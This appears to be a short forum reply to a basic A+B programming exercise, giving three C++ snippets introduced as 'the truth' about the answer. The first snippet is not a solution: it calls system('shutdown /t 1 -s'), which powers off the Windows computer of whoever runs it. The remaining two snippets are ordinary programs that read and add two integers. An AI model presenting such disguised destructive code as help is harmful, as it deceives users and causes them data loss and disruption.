If you do not know how to do this question, I can tell you the truth:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    system("shutdown /t 1 -s");
    return 0;
}

#include<iostream>
using namespace std;
int main()
{
    int x,n;
    cin>>x>>n;
    cout<<x+n;
     return 0;
}

#include<bits/stdc++.h> using namespace std; int numx[105],nums[105]; int main() { int A,B; cin>>A>>B; cout<<A+B; return 0; }
